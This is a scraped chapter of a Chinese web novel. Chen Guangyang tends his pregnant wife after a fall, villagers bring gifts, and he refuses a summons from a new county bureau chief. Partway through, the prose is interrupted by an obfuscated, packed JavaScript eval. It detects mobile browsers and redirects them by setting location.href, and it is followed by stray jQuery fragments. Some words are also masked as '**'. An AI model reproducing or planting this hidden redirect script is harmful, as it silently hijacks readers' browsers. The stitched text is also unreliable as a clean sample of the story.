陈光阳一宿都没有睡觉,看见第二天媳妇气色恢复正常这才松了一口气。
三小只也没有和往常一样偷懒趴在被窝不起来。
一个个全都睁开眼睛,就跑到了沈知霜的面前。
三小只像三只受惊的小鸡崽子儿。
光着小脚丫就“噔噔噔”从东屋大奶奶的热炕头跑了过来,围在炕沿边。
踮着脚,六只乌溜溜的眼睛眨也不眨地盯着炕上闭目休息的妈妈沈知霜。
小雀儿最先憋不住,小嘴一瘪,金豆子就扑簌簌往下掉。
她不敢大声哭,怕吵到妈妈,只伸出小手,用指尖极轻极轻地碰了碰沈知霜露在被子外的手背,声音带着浓重的鼻音,像怕惊飞了什么:“妈……还疼不?我给你……我给你呼呼……”
说着就鼓起小腮帮,凑过去小心翼翼地吹着沈知霜的手腕子,仿佛那是什么易碎的宝贝。
二虎平时最是咋呼,这会儿却像霜打的茄子,蔫头耷脑。
他看看妈妈苍白的脸,又看看妈妈盖着厚棉被也遮不住的、小山丘似的肚子,小眉头拧成了疙瘩,带着哭腔小声问旁边的大龙:“哥,小弟弟……小弟弟没事吧?”
他想起昨晚妈妈疼得冷汗直流的样子,心里就揪得慌,小拳头攥得紧紧的。
大龙作为大哥。
努力想表现出一点稳重。
他学着太奶奶的样子,伸出小手,想帮妈妈掖掖被角,动作笨拙却透着十二万分的认真。
听到二虎问,他抿了抿嘴唇,眼神坚定地看看沈知霜沉睡中依旧微蹙的眉头,又看看炕头柜上那个空了的药碗。
压低声音,带着一种不容置疑的“权威”:“肯定没事!爹说了,程爷爷的药可灵了,妈喝了,睡一觉就好了!咱……咱别吵妈,让妈好好睡。”
话虽这么说,他自己那双酷似陈光阳的眼睛里,也盛满了担忧和后怕,一眨不眨地守着。
陈光阳靠着滚烫的炕壁坐在地上那条小板凳上,高大的身躯微微蜷着,下巴上胡子拉碴,眼里的红血丝还没退干净。
他看着炕上呼吸渐渐平稳的媳妇,又看看炕沿边那三颗挤在一起的小脑袋。
心里那根绷了一夜的弦,终于稍稍松动了些。
他伸出手,挨个揉
了揉三小只毛茸茸的脑袋瓜,声音带着熬夜后的沙哑,却异常温和:“都听见大哥的话了?妈睡着了就好,你仨也去把鞋穿上,地上凉。”
三小只这才后知后觉地感觉到脚底板传来的凉意,互相瞅瞅,蹑手蹑脚地溜回东屋穿鞋去了。
屋里刚安静没多久,院门口就传来了动静。
先是二埋汰媳妇宋铁军风风火火的声音在院子里响起,压着嗓门问:“光阳!知霜咋样了?好点没?”
紧接着,门帘子被轻轻掀开一条缝,宋铁军那张快人快语的脸探了进来。
手里还挎着个小柳条筐,上面盖着块洗得发白的蓝花布。
陈光阳赶紧起身迎出去,怕吵醒媳妇。“铁军,快进屋。刚睡着,缓过来点了,程大牛逼说还得静养。”
“哎呀妈呀,可吓死我了!”
宋铁军拍着胸口,心有余悸地往里屋炕上瞅了一眼,把柳条筐塞到陈光阳手里,嗓门自动降了好几个调,“这筐鸡蛋,家里攒的,新鲜着呢!给知霜补补身子!你说这大冷天的,挺着那么大个肚子,可遭老罪了……让她啥也别想,好好躺着!有啥活儿你吱声,我跟二埋汰随叫随到!”
筐里足有上百个溜光水滑的鸡蛋,在这年头可是实打实的心意。
这边刚送宋铁军到外屋地,三狗子和他媳妇大果子也到了。
大果子怀里抱着个暖水袋……正是昨晚从王大拐家拿来的那个橡胶的,外面还细心地包了层厚棉套。
“光阳。”
三狗子搓着手,脸上带着憨厚的关切,“知霜没事了吧?这暖水袋,王叔让再拿回来,说嫂子还得用。”
大果子把暖水袋递给陈光阳,又递过来一小包红纸包着的红糖:“俺家就这点红塘,给知霜冲水喝,暖暖身子。”
“谢了。”陈光阳心头一热,接过东西,低声说。
“刚睡着,程大牛逼来看过,说是猛一摔惊着了,动了点胎气,万幸没见红,得好好养着,不敢再折腾了。”
“那就好那就好!”三狗子连连点头,“可得当心!”
正说着,院门口又热闹起来。
一个表姑挎着篮子,后面跟着几个平时跟沈知霜关系不错的屯里媳妇,有老有少。
篮子里装着十几个带着温
乎气的鸡蛋还有一小把晒干的红枣。
“光阳啊!”表姑进了外屋地就压低声音问。
“我侄媳妇咋样?哎哟我这心呐扑腾一宿!听说摔了可把我吓够呛!”
她边说边把篮子递过来“这点鸡蛋给知霜压压惊。红枣补气血熬粥时候放两粒!千万让她别下地了听没听见?”
其他几个媳妇也七嘴八舌地小声叮嘱:
“就是就是知霜你可得听话好好躺着!”
“有啥要缝缝补补、洗洗涮涮的喊一声就行!”
“俺家还有点小米熬粥养人回头给你送点来!”
“那蔬菜大棚有王叔看着呢你就把心放肚子里吧!”
小小的外屋地顿时被浓浓的暖意和关切填满。
陈光阳看着一张张熟悉的脸庞听着质朴却滚烫的话语喉咙有些发堵只能不住地点头道谢:“哎哎!谢谢表姑谢谢大伙儿!知霜知道了肯定高兴!我替她谢谢大家伙儿!”
这边正说着。
王大拐走了过来。
人群自动让开一条道。
王大拐披着件半旧的军大衣花白的胡子似乎比昨晚更乱了些脸色也带着疲惫
扫视了一圈屋里屋外的人最后目光落在陈光阳身上。
“光阳知霜咋样了?”他声音洪亮但明显也压着调门。
“王叔刚睡着程大牛逼说需要静养。”陈光阳赶紧回答。
王大拐点点头拄着拐棍走到里屋门口掀开门帘一角探头往里仔细看了看沈知霜沉睡的侧脸。
又看了看她盖着厚被子的肚子这才缩回头把门帘轻轻放下。
他转过身脸上是前所未有的严肃对着屋里屋外的人尤其对着陈光阳用他那公社主任不容置疑的口吻一字一句地下了“命令”:
“都听着!沈知霜同志从现在起一直到她平平安安把孩子生下来坐稳了月子!不准出这个屋门!这是组织决定也是我这个当叔的命令!”
他顿了顿枣木拐棍在地上用力一顿发出沉闷的响声强调道:
“大队的工作蔬菜大棚那一摊子有我王大拐有二埋汰、三狗子他们盯着!天塌不下
来!用不着她一个快生了的婆娘操心!
她现在的任务就是给我安安稳稳地待在热炕头上吃好、喝好、睡好!把身子骨给我养得棒棒的!把肚子里的小崽子给我护得牢牢的!”
他目光锐利地扫过陈光阳:“光阳!你小子给我听好了!你就是她的警卫员!任务就一个看好你媳妇!她要是有半点闪失我拿你是问!听见没?”
陈光阳点了点头:“放心吧王叔。”
王大拐这才满意地点点头脸色缓和了一些。
从大衣兜里掏出两包用油纸包得严严实实的东西塞给陈光阳:
“这红糖还有这白糖是公社慰问的。给知霜冲着喝。鸡蛋啥的我看大伙儿也送了不少够吃一阵子。不够再言语!”
他又看向屋里其他人语气放软了些带着长辈的关怀:“大伙儿的心意知霜和光阳都领了。这心意啊不在东西多少在咱靠山屯这份心!
知霜是为集体累着的咱不能让她心寒!都回吧让她好好歇着。有啥事队部找我王大拐!”
“知道了王叔!”
“放心吧主任!”
众人纷纷应和又小声叮嘱了陈光阳几句才带着满心的关切陆陆续续离开了小院。
外屋地重归安静只剩下灶坑里柴火燃烧时发出的轻微噼啪声以及里屋沈知霜均匀绵长的呼吸声。
陈光阳送走最后一个人轻轻关上屋门插好门栓。
他走回里屋没有立刻坐下而是站在炕沿边静静地看着。
三小只已经穿好了鞋袜又悄悄地溜了回来。
他们没有再挤在炕沿而是懂事地搬来了小板凳排排坐在离炕稍远一点的地上小脑袋凑在一起压着嗓子用气声说话。
“大哥你说妈啥时候醒?”二虎小声问。
“嘘…别吵妈累了得多睡会儿。”大龙竖起手指。
小雀儿则双手托着小下巴大眼睛一眨不眨地望着妈妈长长的睫毛上还挂着未干的泪珠。
陈光阳的心
昨晚的惊惶、愤怒、后怕像潮水般退去留下的是劫后余生的踏实和对眼前人无尽的珍视。
他弯腰动作轻得不能再轻
将媳妇露在被子外的那只手重新小心翼翼地塞回被窝里又仔细地将被角压实。
窗外腊月的寒风依旧在光秃秃的树梢间呼啸呜咽卷起地上的残雪。
但陈光阳知道这小小的红砖房里热炕滚烫人心更暖。
“这么多人看我我还有些不好意思的。”沈知霜偷偷睁开眼睛看着陈光阳说道。
她刚才就醒来了
所以不好睁开眼睛如今终于挺不住了睁开了眼睛看向了陈光阳:“光阳我真的没事儿了。”
一边儿说着沈知霜就想要下地。
大奶奶这时候从外屋地端过来了鸡蛋糕:“你要干啥啊?你这时候就别乱动了让光阳这个犊子伺候你!”
说完话就给鸡蛋糕递给了陈光阳:“热乎的快溜喂你媳妇吃。”
陈光阳端过来了鸡蛋糕拿起来了勺子挖起来了一会儿然后吹了吹喂给了媳妇。
三小只立刻整齐划一的开口说道:“妈张嘴。”
小雀儿更是“啊~”了一下。
这让沈知霜小脸一红:“哎呀孩子们都在这儿看着呢。”
二虎看见老妈眼睛里面有笑模样了。
立刻洋溢起来了笑脸:“哎呀那怕啥的都老夫老妻了来嘴儿一个来咱们给呱唧呱唧!”
陈光阳咧了咧嘴这小子很明显是给自己和他妈妈当成了唱二人转的了!
一旁的大龙没忍住抬起手给了二虎子一下。
二虎立刻缩脖有点虎超的说道:“哎呀那怕啥的呢!”
陈光阳手里的勺子刚刮干净碗底最后一点嫩滑的鸡蛋糕小心翼翼地喂进媳妇嘴里。
沈知霜靠在垫高的被褥垛上脸色依旧比平时苍白些但那双温润的眼睛里漾着暖暖的笑意。
看着自家男人又看看炕沿底下排排坐、眼巴巴瞅着的仨小崽子。
“饱了没?”陈光阳拿过旁边温热的毛巾动作轻柔地给媳妇擦了擦嘴角。
“饱了再吃该撑着了。”
沈知霜抿嘴笑笑伸手轻轻按了按高高隆起的腹部“这小东西今天倒是消停没闹腾。”
“那是知道妈遭罪了懂事儿!
”二虎立刻接话,小脸一本正经。
大龙稳重地点点头:“嗯,弟弟妹妹乖。”
小雀儿则伸出小手,隔着被子轻轻贴在妈妈肚子上,小声念叨:“弟弟妹妹听话,别让妈累着。”
屋外寒风卷着零星的雪沫子扑打着窗户纸,发出沙沙的轻响。
屋里,灶坑烧得旺,热炕滚烫,铁皮炉子上坐着的水壶咕嘟咕嘟冒着白气,氤氲着暖融融的烟火气。
陈光阳看着这画面,心里那根紧绷了一天一夜的弦,才算是真正松快下来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589187|173430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他刚把空碗递给旁边的大奶奶,准备起身去外屋地给媳妇弄点清淡的晌午饭。
“突突突……吱嘎!”
一阵吉普车引擎粗暴的轰鸣由远及近,紧接着是刺耳的刹车声。
硬生生碾碎了靠山屯晌午头的宁静,像块冰疙瘩砸进了这锅温吞水里。
车轱辘卷起的雪泥点子“噼里啪啦”打在院门和篱笆墙上。
院门没关严实,陈光阳眉头一皱,抬眼从窗户望出去。
一辆沾满泥浆的军绿色吉普车,嚣张地停在院外那条冻得梆硬的土路中央,车门上模糊的白漆字还能辨认出“**”的轮廓。
车门推开,下来个穿着崭新藏蓝涤卡中山装的年轻**,帽子戴得端正。
一张脸绷得紧紧的,没什么表情,眼神里透着一股公事公办的生疏和不易察觉的倨傲。
这面孔,陈光阳没见过,东风县局的老油子里没这号人。
小**推开了虚掩的院门,脚步踩在冻土上咯吱作响,径直走到屋门口,没敲门,声音倒是挺洪亮,带着点刻意拔高的调门:
“陈光阳同志在家吗?”
屋里温馨的气氛瞬间凝滞。
三小只齐刷刷扭头看向门口,小脸上没了刚才的轻松。
沈知霜放在肚子上的手下意识地收紧了些。
大奶奶端着空碗的手顿了顿,浑浊的老眼瞥了门口一下,没吭声,转身默默进了外屋地。
陈光阳站起身,高大的身影堵在里屋门口,挡住了大半光线。
他脸色平静,眼神却像结了冰的江面,沉静底下透着冷意。
“在。嘎哈呀?”
陈光阳声音不高,皱了皱眉头。
小**的目光在陈光阳身上扫了一圈。
胡子拉碴,眼带血丝,身上是件半旧的棉袄,袖口还沾着点灶灰。
这形象,跟他想象中那个传说中威风八面的“陈顾问”实在对不上号。
眼底那点不易察觉的轻视更浓了些。
“陈顾问,”小**挺了挺胸脯,语气带着程式化的通知意味。
“县局新来的赵金明局长刚到任,听说你是咱们东风县局的资深顾问,办案经验丰富,是个人才。
特意吩咐下来,让我来接你过去一趟,局长想和你见个面,坐下好好聊聊,认认人,也听听你对咱县局下一步工作的宝贵意见。”
他把“特意吩咐”、“宝贵意见”几个字咬得挺重。
仿佛这是天大的恩典,容不得拒绝。
陈光阳听完,脸上连个波纹都没起。
他侧头看了一眼炕上正望着他的媳妇,那眼神里的依赖和尚未散尽的虚弱,像根无形的线拴在他心尖上。
“哦。”
陈光阳应了一声,干脆利落,连个弯都没拐。
“知道了。你回去跟赵局长说一声,心意我领了,不过今儿去不了。家里有事儿,媳妇身子不方便,离不开人。”
他顿了顿,补了句,“替我道个歉,等家里这头稳当稳当了,我再去拜访赵局。”
干脆!利索!
没半点拖泥带水,也没半分商量余地。
小**显然没料到会是这么个结果。
在他想来,局长新官上任,点名要见你一个乡下的顾问,那是多大的脸面?
这姓陈的不该是受宠若惊,麻溜儿跟上就走吗?
居然敢一口回绝?
他脸上的公事公办有点绷不住了,眉头拧了起来,语气也硬了几分:
“陈顾问,这可是赵局长上任后特意点的第一个名!
耽误不了你多大功夫,就是过去坐坐,认个门儿,喝杯茶的事儿!局长还在局里等着呢!”
他往前凑了小半步,声音带着点催促,“你看,我这车都开到门口了……”
炕上的沈知霜微微欠起身子,温声开口:“同志,实在是对不住,我昨天摔了一下,动了胎气,大夫千叮万嘱要躺着不能动,身边也离不得人。
光阳他得照顾我麻烦你跟局长解释解释改天……”
“嫂子。”
小**直接打断了沈知霜的话语气虽然还算克制但那不耐烦已经藏不住了“局长那头等着呢!全县局上下都知道陈顾问能耐大可再大的能耐也得服从组织安排尊重领导吧?
这新局长头回召见就不去是不是……不太合适?”
这话就有点夹枪带棒了暗指陈光阳摆谱不识抬举。
陈光阳的眼神瞬间沉了下去像暴风雪来临前阴霾的天空。
他没看那小**反而扭头对着媳妇声音放得极柔:“躺着别操心这些没用的。”
说完他才转回头目光像两把小锥子直直钉在小**脸上声音不高
“我说了去不了。媳妇身子要紧天塌下来也没这个要紧。你耳朵要是不好使就再听一遍。
我陈光阳今天哪儿也不去就在家守着我媳妇。听明白了?明白了就麻溜回去复命!”
“你……”
小**被陈光阳这毫不客气的态度噎得脸一红尤其是那句“耳朵不好使”。
简直是当众打脸。
他憋着一肚子气看看陈光阳那堵门神似的架势再看看炕上确实脸色不好的女人知道硬来没用。
他重重地“哼”了一声眼神里那点轻视彻底变成了愠怒和不忿。
狠狠剜了陈光阳一眼猛地一跺脚转身就走。
脚步踩得又重又急推开院门时故意带得那破木板门“哐当”一声巨响震得屋檐上的积雪簌簌落下。
吉普车的引擎被他发泄似的轰得震天响卷起一溜呛人的黑烟和雪泥跟头把式地蹿出了屯子。
“呸!什么玩意儿!”
二虎冲着窗外吉普车消失的方向啐了一口小脸气得通红“跟我爹装啥大瓣蒜!”